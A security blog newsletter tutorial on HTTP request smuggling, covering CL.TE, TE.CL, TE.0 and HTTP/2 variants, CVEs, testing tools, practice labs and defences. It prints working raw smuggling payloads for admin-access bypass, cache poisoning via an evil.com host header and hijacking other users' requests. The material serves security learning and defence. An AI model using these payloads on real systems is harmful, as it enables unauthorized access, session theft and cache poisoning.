HTTP Request Smuggling: The Art of Confusing Web Servers
12 min read
November 30, 2025
🚧 Site Migration Notice
I've recently migrated this site from Ghost CMS to a new Astro-based frontend. While I've worked hard to ensure everything transferred correctly, some articles may contain formatting errors or broken elements.
If you spot any issues, I'd really appreciate it if you could let me know! Your feedback helps improve the site for everyone.

Table of contents
👋 Introduction
Hey everyone!
HTTP Request Smuggling has been on my radar since I first read James Kettle’s research at PortSwigger. The concept seemed almost too elegant. You exploit the difference in how two servers parse HTTP requests. The frontend sees one request, the backend sees two. Suddenly you’re bypassing WAFs, poisoning caches, and stealing sessions.
What makes this attack fascinating is its subtlety. You’re not exploiting a bug in the traditional sense. You’re exploiting ambiguity in how HTTP specifications are implemented. Different servers interpret the same request differently. And that discrepancy becomes your attack surface.
Here’s the thing. HTTP Request Smuggling has been around since 2005. Yet it remains “everywhere and massively under-researched” according to Kettle. In 2024 and 2025, researchers continue to find new variants affecting major platforms. Google Cloud. Apache. ASP.NET Core. Even Akamai’s own infrastructure. The attack surface keeps growing.
The worst part? Traditional security scanners often miss these vulnerabilities entirely. The requests look legitimate. The responses seem normal. But behind the scenes, you’re injecting requests that bypass every security control in the path.
In this issue, we’ll cover:
- How HTTP parsing discrepancies create smuggling opportunities
- CL.TE, TE.CL, and newer variants like TE.0
- Detecting and exploiting smuggling vulnerabilities
- Cache poisoning and session hijacking techniques
- HTTP/2 downgrade attacks and H2C smuggling
- Recent CVEs including the critical ASP.NET Core vulnerability
- Defense strategies that actually work
If you’re testing web applications behind reverse proxies or CDNs, this is essential knowledge.
Let’s confuse some servers 👇
🎯 Why Request Smuggling Matters
Request smuggling attacks exploit the fundamental way HTTP connections work. When you have a frontend server (reverse proxy, load balancer, CDN) and a backend server, they need to agree on where one request ends and the next begins. If they disagree, an attacker can inject a second request that only the backend sees.
Impact:
- Bypass Security Controls: WAFs and access controls only see the first request. The smuggled request flies under the radar.
- Poison Web Caches: Force the cache to store malicious content for legitimate URLs.
- Steal User Sessions: Capture other users’ requests by leaving a partial request on the connection.
- Gain Unauthorized Access: Access admin endpoints that the frontend would normally block.
The attack works because HTTP/1.1 allows persistent connections. Multiple requests flow through the same TCP connection. If the frontend and backend disagree on request boundaries, chaos ensues.
🔍 Understanding HTTP Request Length
HTTP/1.1 provides two ways to specify request body length:
Content-Length Header
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Hello, World!
The Content-Length header tells the server exactly how many bytes to read. Simple and straightforward.
Transfer-Encoding: chunked
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
b
Hello World
0
Chunked encoding sends data in pieces. Each chunk starts with its size in hexadecimal, followed by the data. A chunk of size 0 signals the end.
The Problem: What happens when a request includes both headers? The HTTP specification (RFC 7230) says Transfer-Encoding should take precedence. But not every server follows the spec.
🧨 Classic Smuggling Variants
CL.TE (Content-Length / Transfer-Encoding)
The frontend uses Content-Length. The backend uses Transfer-Encoding.
POST / HTTP/1.1
Host: target.com
Content-Length: 30
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Foo: x
What happens:
- Frontend sees
Content-Length: 30and forwards exactly 30 bytes - Backend sees
Transfer-Encoding: chunked, reads until0\r\n\r\n - Backend treats
GET /admin HTTP/1.1...as the start of a new request
The smuggled request to /admin bypasses any frontend access controls.
TE.CL (Transfer-Encoding / Content-Length)
The frontend uses Transfer-Encoding. The backend uses Content-Length.
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
What happens:
- Frontend sees
Transfer-Encoding: chunked, reads both chunks and forwards everything - Backend sees
Content-Length: 3, only reads8\r\n - Backend treats
SMUGGLED\r\n0\r\n\r\nas the start of a new request
The SMUGGLED text becomes interpreted as an HTTP method (which will error), but in a real attack you’d replace it with a valid request like GET /admin HTTP/1.1.
TE.TE (Transfer-Encoding / Transfer-Encoding)
Both servers support Transfer-Encoding, but one fails to parse obfuscated headers.
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: x
0
GET /admin HTTP/1.1
X-Ignore: X
Obfuscation techniques:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
One server processes chunked, the other ignores it. The disagreement creates the smuggling opportunity.
TE.0 (New Variant)
Discovered in 2024, this variant targets servers that ignore Transfer-Encoding entirely, treating body length as zero.
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
GET /admin HTTP/1.1
Host: target.com
The frontend processes the chunked body normally. The backend ignores Transfer-Encoding and treats the request as having no body. Everything after the headers becomes a new request.
Researchers found this variant affecting thousands of Google Cloud-hosted websites.
🔬 Detecting Smuggling Vulnerabilities
Time-Based Detection
Send a request that should cause a timeout if smuggling exists.
CL.TE Detection:
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
If vulnerable, the backend waits for the next chunk (it sees X as a malformed chunk size). The request times out.
TE.CL Detection:
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
If vulnerable, the backend reads only 6 bytes (0\r\n\r\nX) and waits for more data based on the smuggled request.
Differential Response Detection
Send a smuggled request that alters subsequent responses.
POST / HTTP/1.1
Host: target.com
Content-Length: 40
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Host: target.com
Follow with a normal request. If you get a 404 response for a valid URL, the smuggled /404 request was processed first.
Automated Tools
- HTTP Request Smuggler (Burp Extension): Automated detection of smuggling vulnerabilities
- Smuggler: Python tool for detecting request smuggling
- http2smugl: Tests ~564 combinations of HTTP/2 smuggling techniques
🚀 Exploitation Techniques
Bypassing Security Controls
Many organizations rely on frontend servers to enforce access controls. Smuggling bypasses them entirely.
POST / HTTP/1.1
Host: target.com
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin/delete-user?id=123 HTTP/1.1
Host: target.com
The frontend allows POST /. The backend processes GET /admin/delete-user. The WAF never sees the admin request.
Cache Poisoning
Force the cache to store malicious content for legitimate URLs. For a deep dive, see Practical Web Cache Poisoning.
POST / HTTP/1.1
Host: target.com
Content-Length: 116
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
Foo: x
The attack:
- Send this request, then a normal request for a static resource
- The smuggled request for
/static/main.jsgets processed withX-Forwarded-Host: evil.com - If the application uses this header to generate absolute URLs, the cached response contains references to
evil.com - Every user fetching
/static/main.jsgets the poisoned version
This turns a single smuggling vulnerability into a mass compromise.
Request Hijacking
Capture other users’ requests by leaving a partial request on the connection.
POST / HTTP/1.1
Host: target.com
Content-Length: 70
Transfer-Encoding: chunked
0
POST /log HTTP/1.1
Host: target.com
Content-Length: 400
data=
The attack:
- The smuggled
POST /loghasContent-Length: 400but no body - The next user’s request (on the same connection) gets appended as the body
- Their cookies, credentials, and sensitive data get logged
You’re literally stealing other users’ HTTP requests.
Web Cache Deception
Similar to cache poisoning, but targeting user-specific data. See Web Cache Deception research for background.
POST / HTTP/1.1
Host: target.com
Content-Length: 45
Transfer-Encoding: chunked
0
GET /account HTTP/1.1
Host: target.com
If the response contains user-specific data and gets cached, you can later access it from the cache.
🌐 HTTP/2 Smuggling
HTTP/2 uses binary framing and specifies message length differently. In theory, this eliminates smuggling. In practice, problems arise when HTTP/2 is downgraded to HTTP/1.1.
HTTP/2 Downgrade Attacks
Many CDNs accept HTTP/2 from clients but forward requests to backends as HTTP/1.1. This translation creates opportunities.
Injecting Transfer-Encoding:
The HTTP/2 spec says servers should strip or block Transfer-Encoding headers. But some don’t.
:method: POST
:path: /
:authority: target.com
transfer-encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
If the frontend passes transfer-encoding to the HTTP/1.1 backend, you’ve got a classic TE.CL vulnerability.
H2C Smuggling
HTTP/2 over cleartext (h2c) upgrade requests can bypass reverse proxy access controls.
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
The attack:
- The proxy forwards the upgrade request to the backend
- The backend upgrades to HTTP/2
- Subsequent requests flow directly to the backend via HTTP/2
- These requests bypass all proxy-level controls
After the upgrade, you have a persistent HTTP/2 connection directly to the backend. The proxy only saw the initial upgrade request.
Tools:
- h2cSmuggler: Detects and exploits h2c upgrade vulnerabilities
🛡️ Real-World CVEs
CVE-2025-55315 (ASP.NET Core) - CVSS 9.9
Microsoft’s highest severity ASP.NET Core vulnerability. Kestrel web server had parsing differences in how \r, \n, and \r\n are treated in chunk extensions.
Impact: Account takeover, code injection, SSRF
Affected: .NET 8.x and 9.x before October 2025 patches
Root cause: Chunk extension parsing allowed attackers to hide a second request within chunk metadata. See Microsoft’s detailed analysis for more.
CVE-2025-32094 (Akamai)
HTTP/1.x OPTIONS requests with Expect: 100-continue and obsolete line folding could cause parsing discrepancies between Akamai edge servers.
Status: Fixed platform-wide with no evidence of exploitation.
CVE-2024-6827 (Gunicorn)
Gunicorn 21.2.0 failed to validate Transfer-Encoding header values properly. Invalid values caused fallback to Content-Length, creating TE.CL vulnerabilities.
Impact: Cache poisoning, session hijacking, SSRF, XSS
Fixed: Version 22.0.0
CVE-2023-25690 (Apache HTTP Server)
Some mod_proxy configurations on Apache HTTP Server allow HTTP Request Smuggling when RewriteRule or ProxyPassMatch re-inserts user-supplied data into proxied requests using variable substitution.
Impact: Bypass access controls, proxy unintended URLs, cache poisoning
Affected: Apache 2.4.0 through 2.4.55
Fixed: Version 2.4.56
🛠️ Tools of the Trade
Burp Suite HTTP Request Smuggler: The essential extension for smuggling detection. Automated scanning with manual verification.
Smuggler: Command-line scanner that tests multiple techniques automatically.
http2smugl: Specialized for HTTP/2 smuggling. Tests 564 technique combinations.
h2cSmuggler: Detects and exploits H2C upgrade smuggling. Curl-like syntax for easy use.
Param Miner: Burp extension for finding hidden parameters. Useful for cache poisoning attacks.
🧪 Labs & Practice
PortSwigger Web Security Academy:
- HTTP request smuggling, basic CL.TE vulnerability
- HTTP request smuggling, basic TE.CL vulnerability
- HTTP request smuggling, obfuscating the TE header
- Exploiting HTTP request smuggling to bypass front-end security controls
- Response queue poisoning via H2.TE request smuggling
Main resource: https://portswigger.net/web-security/request-smuggling
TryHackMe:
- HTTP Request Smuggling: Comprehensive room covering classic variants and detection techniques
- HTTP/2 Request Smuggling: HTTP/2 downgrade attacks and H2C smuggling
Hack The Box:
- Sink: Insane-rated Linux box exploiting HTTP request smuggling between HAProxy and Gunicorn (CVE-2019-18277) to steal session cookies
- HTB Academy - HTTP Attacks: Comprehensive module covering CRLF injection, request smuggling, and HTTP/2 downgrading
🔒 Defense and Detection
Prevention
1. Use HTTP/2 End-to-End
Eliminate the translation layer. HTTP/2’s binary framing doesn’t have the same ambiguity issues.
2. Normalize Requests at the Edge
If you must downgrade to HTTP/1.1, ensure the frontend:
- Strips ambiguous headers
- Uses consistent body length determination
- Rejects requests with both
Content-LengthandTransfer-Encoding
3. Configure Servers Consistently
Both frontend and backend should handle HTTP parsing identically. Test with the same configurations.
4. Strip Upgrade Headers
Don’t forward user-supplied Upgrade or Connection headers. Hardcode them if needed.
# Nginx: Strip upgrade headers
proxy_set_header Upgrade "";
proxy_set_header Connection "";
5. Disable HTTP/1.0 and Keep-Alive (If Possible)
Request smuggling requires persistent connections. Disabling them eliminates the attack vector but impacts performance.
Detection
Monitor for anomalies:
- Requests with both
Content-LengthandTransfer-Encoding - Malformed
Transfer-Encodingvalues - Unusual chunk sizes or chunk extensions
Upgrade: h2crequests from untrusted clients
Web Application Firewall rules:
# ModSecurity example
SecRule REQUEST_HEADERS:Transfer-Encoding "!^chunked$" \
"id:1,phase:1,deny,status:400,msg:'Invalid Transfer-Encoding'"
SecRule &REQUEST_HEADERS:Content-Length "@gt 1" \
"id:2,phase:1,deny,status:400,msg:'Multiple Content-Length headers'"
Log analysis: Look for requests where the frontend and backend logged different URLs or methods.
🎯 Key Takeaways
- Request smuggling exploits parsing disagreements between frontend and backend servers
- Classic variants (CL.TE, TE.CL, TE.TE) remain effective against misconfigured infrastructure
- New variants like TE.0 continue to emerge, affecting major platforms like Google Cloud
- HTTP/2 doesn’t eliminate the risk when downgraded to HTTP/1.1
- H2C smuggling can bypass all proxy-level security controls
- Cache poisoning turns a single vulnerability into mass compromise
- Request hijacking lets you steal other users’ credentials and sessions
- Defense requires consistency in how frontend and backend parse requests
- Detection is difficult because smuggled requests look legitimate to individual servers
📚 Further Reading
- HTTP Request Smuggling (PortSwigger): Comprehensive guide with interactive labs
- HTTP Desync Attacks (James Kettle): The original 2019 research that revived interest in smuggling
- HTTP/2: The Sequel is Always Worse (PortSwigger Research): HTTP/2 downgrade attacks
- HackTricks - HTTP Request Smuggling: Extensive collection of payloads and techniques
- A Pentester’s Guide to HTTP Request Smuggling (Cobalt): Practical pentesting approach
That’s it for this week! Next issue, we’ll explore Rust Security Code Review, where we’ll analyze common vulnerability patterns in Rust code including unsafe blocks, integer overflows, panic-based DoS, and memory safety pitfalls that bypass the borrow checker.
If you’re testing web applications behind CDNs, load balancers, or reverse proxies, spend some time with the PortSwigger labs. Practice detecting CL.TE and TE.CL vulnerabilities. The techniques are subtle, but the impact is severe. And remember, scanners often miss these. Manual testing is essential.
Thanks for reading, and happy hacking 🔐
— Ruben
Chapters
Previous Issue